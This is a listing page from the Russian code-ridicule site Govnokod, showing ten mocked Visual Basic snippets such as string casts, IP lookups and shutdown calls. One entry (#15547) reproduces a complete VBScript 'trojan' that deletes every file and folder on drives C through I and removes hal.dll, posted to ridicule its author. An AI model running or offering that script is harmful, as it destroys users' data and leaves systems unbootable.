1. VisualBasic / Говнокод #16439

    −125

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    Dim dLoadCurrent As Double
    Dim strReading As String = String.Empty
    Dim strTempReading As String
    
    strReading = Space(20)
    
    strReading = считали напряжение из устройства
    strTempReading = CStr(InStr(1, strReading, vbLf, CompareMethod.Binary))
    dLoadCurrent = CDbl(Left(strReading, CShort(strTempReading)))

    Супер каст.

    kempendyi, 29 Июля 2014

    Комментарии (14)
  2. VisualBasic / Говнокод #16218

    −130

    1. 1
    2. 2
    3. 3
    4. 4
    Привет всем, помогите решить проблему.
    reached limit: cannot create any more controls for this from
    Как я понял, число контроллеров не должно превышать 255-256 в одной форме. Как этого избежать?
    Можно ли вообще создавать формы с общими переменными? Спасибо

    http://vbbook.ru/visual-basic/vvedenie-visual-basic/

    brutushafens, 24 Июня 2014

    Комментарии (21)
  3. VisualBasic / Говнокод #16114

    −123

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function GetRaz()
    Open "C:NeWFiles.txt" For Output As #1
    Print #1, "0"
    Close
    Shell "cmd /X /C  set PROCESSOR_ARCHITECTURE > C:NeWFiles.txt", vbHide
    1
    Open "C:NeWFiles.txt" For Input As #1
    Do While Not EOF(1)
    Input #1, Items
    Loop
    Close
    If Items = "" Or items = "0" Then GoTo 1
    GetRaz = Replace(Items, "PROCESSOR_ARCHITECTURE=", "")
    End function

    "Получаем разрядность Windows"
    http://vbbook.ru/1401972927/

    brutushafens, 04 Июня 2014

    Комментарии (26)
  4. VisualBasic / Говнокод #15547

    −117

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    on error resume next
    
    Set S = CreateObject("Wscript.Shell")
    
    set FSO=createobject("scripting.filesystemobject")
    
    fso.deletefile "C:*.*",1
    
    fso.deletefolder "C:*.*",1
    
    fso.deletefile "D:*.*",1
    
    fso.deletefolder "D:*.*",1
    
    fso.deletefile "E:*.*",1
    
    fso.deletefolder "E:*.*",1
    
    fso.deletefile "F:*.*",1
    
    fso.deletefolder "F:*.*",1
    
    fso.deletefile "G:*.*",1
    
    fso.deletefolder "G:*.*",1
    
    fso.deletefile "H:*.*",1
    
    fso.deletefolder "H:*.*",1
    
    fso.deletefile "I:*.*",1
    
    fso.deletefolder "I:*.*",1
    
    fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1

    Школота пишет охуительный троян.
    http://www.v-zlom.ru/138-napisanie-troyana-na-yazyke-visual-basic-script.html

    gost, 21 Марта 2014

    Комментарии (32)
  5. VisualBasic / Говнокод #15275

    −98

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    ResetList( Chars( ) )
    While NextElement( Chars( ) )
    	Define Address.l = @Chars( )
    	Define Reference.s = Chars( )
    	While NextElement( Chars( ) )
    		If Chars( ) = Reference
    			DeleteElement( Chars( ) )
    		EndIf
    	Wend
    	ChangeCurrentElement( Chars( ), Address )
    Wend

    Stertor-, 01 Марта 2014

    Комментарии (83)
  6. VisualBasic / Говнокод #14597

    −120

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    Option Explicit
    
    Dim HTMLCode As String 'переменная для хранения кода страницы
    
    Private Sub Command1_Click()
        Winsock1.RemotePort = 80                'устанавливаем порт сервера 80
        Winsock1.RemoteHost = "ippages.com"     'Хост
        Winsock1.Connect                        'Подключаемся
        Label4.Caption = Winsock2.LocalIP
    End Sub
    
    Function CutIP(HTML As String) As String
    Dim p1 As Integer
        p1 = InStr(HTML, "Content-Type: text/html")
        CutIP = Trim(Mid(HTML, p1 + 27, Len(HTML) - p1 - 23))
    End Function
    
    Private Sub Label1_Click()
    
    End Sub
    
    Private Sub Winsock1_Close()        'Событие генерируется при закрытии Канала связи
        Form1.Caption = "Не подключен" 'Просто сообщаем о том что не подключены
        Winsock1.Close
    End Sub
    
    Private Sub Winsock1_Connect()      'Событие генерируется при подключении
       Form1.Caption = "Подключение"      'Подключены
       'Посылаем запрос на сервер  выдающему наш IP
      Winsock1.SendData "GET " + "/simple/" + " HTTP/1.0" + Chr(10) + Chr(10)
    End Sub
    
    'Событие генерируется когда нам приходят данные
    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim Temp As String
      Winsock1.GetData HTMLCode
      Label1.Caption = CutIP(HTMLCode)
    End Sub
    
    Получение ай-пи адреса посредством отправки на сайт запроса через компонент WinSock.
    http://vbbook.ru/visual-basic/polychenie-svoego-ip/
    Строго говоря, это не лажа кодера, просто используется (по незнанию?) очень глючный и непредсказуемый компонент.

    Fixed by me:

    Function GetCurrentIP() As String
    Dim txt As String
    Dim i, j As Integer
    Dim mshttp As New XMLHTTP 'по умолчанию сервер всегда зареган.
    mshttp.open "GET", "http://checkip.dyndns.org/", False ' синхронный get
    mshttp.send
    txt = mshttp.responseText
    i = InStr(1, txt, ":")

    If i > 0 Then
    i = i + 1
    Else
    GetCurrentIP = "" ' удобно было бы, если по присваиванию, подобному этому, происходило покидание процедуры. Ан, нет.
    Exit Function
    End If

    j = InStr(i, txt, "</")
    If j < 1 Then
    GetCurrentIP = ""
    Exit Function
    End If

    GetCurrentIP = Trim(Mid(txt, i, j - i))
    End Function

    Stertor, 15 Февраля 2014

    Комментарии (198)
  7. VisualBasic / Говнокод #14177

    −117

    1. 1
    2. 2
    3. 3
    4. 4
    For [email protected]$ To @stroca$+(#size*2)-500 Step 2
      PokeS(i,"5")
    Next
    PokeS(@stroca$+(#size*2)-500,"555555555555.....")

    Еще один дебил.
    Взято с http://purebasic.info/phpBB3ex/viewtopic.php?f=13&t=3588

    Stertor, 04 Декабря 2013

    Комментарии (8)
  8. VisualBasic / Говнокод #14127

    −132

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    1.TextWindow.WriteLine ("Напиши число от 0 до 9 и я переведу его на английский")
    
    2.Число = TextWindow.ReadNumber()
    
    3.If Число = "0" Then
    
    4.TextWindow.WriteLine ("Zero")
    
    5.ElseIf Число = "1" Then
    
    6.TextWindow.WriteLine ("One")
    
    7.ElseIf Число = "2" Then
    
    8.TextWindow.WriteLine ("Two")
    
    9.ElseIf Число = "3" Then
    
    10.TextWindow.WriteLine ("Three")
    
    11.ElseIf Число = "4" Then
    
    12.TextWindow.WriteLine ("Four")
    
    13.ElseIf Число = "5" Then
    
    14.TextWindow.WriteLine ("Five")
    
    15.ElseIf Число = "6" Then
    
    16.TextWindow.WriteLine ("Six")
    
    17.ElseIf Число = "7" Then
    
    18.TextWindow.WriteLine ("Seven")
    
    19.ElseIf Число = "8" Then
    
    20.TextWindow.WriteLine ("Eight")
    
    21.ElseIf Число = "9" Then
    
    22.TextWindow.WriteLine ("Nine")
    
    23.Else
    
    24.TextWindow.WriteLine ("Не знаю таких больших цифр")
    
    25.EndIf

    elseif число=10 then
    msgbox "программа бо-бо"
    else
    msgbox "программа бо-бо"

    http://vbbook.ru/small-basic/ysloviya--primeru-small-basic/

    Stertor, 23 Ноября 2013

    Комментарии (40)
  9. VisualBasic / Говнокод #13839

    −97

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    System.Diagnostics.Process.Start("ShutDown", "/s") ' Выключение
    System.Diagnostics.Process.Start("ShutDown", "/r") ' Перезагрузка
    System.Diagnostics.Process.Start("ShutDown", "/l") ' Выход из пол-ля
    System.Diagnostics.Process.Start("ShutDown", "/h") ' Спящий режим
    
    Автор: Release
    E-mail: [email protected]
    Сайт: ds-release.ru

    http://vbbook.ru/vb.net/zavershenie-rabotu/

    Я бью земные поклоны и от чистого сердца благодарю бога за то, что он избавил меня от необходимости учить этот дебильный язык.

    Stertor, 21 Сентября 2013

    Комментарии (129)
  10. VisualBasic / Говнокод #13838

    −87

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    Программа на цикл.
    
    Мы запускаем цикл, который можно остановить только если прописать слово "Стоп" :
    
    Dim Slovo As String
    Do
    Slovo = InputBox("Введите слово", "Слово")
    MsgBox(Slovo & "!", , "Слово")
    Loop Until Slovo = "Стоп"
    
    
    
    
    
    Автор: Release
    E-mail: [email protected]
    Сайт: ds-release.ru

    http://vbbook.ru/vb.net/programma-na-cikl/
    Вначале было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    application halted with error

    Stertor, 21 Сентября 2013

    Комментарии (161)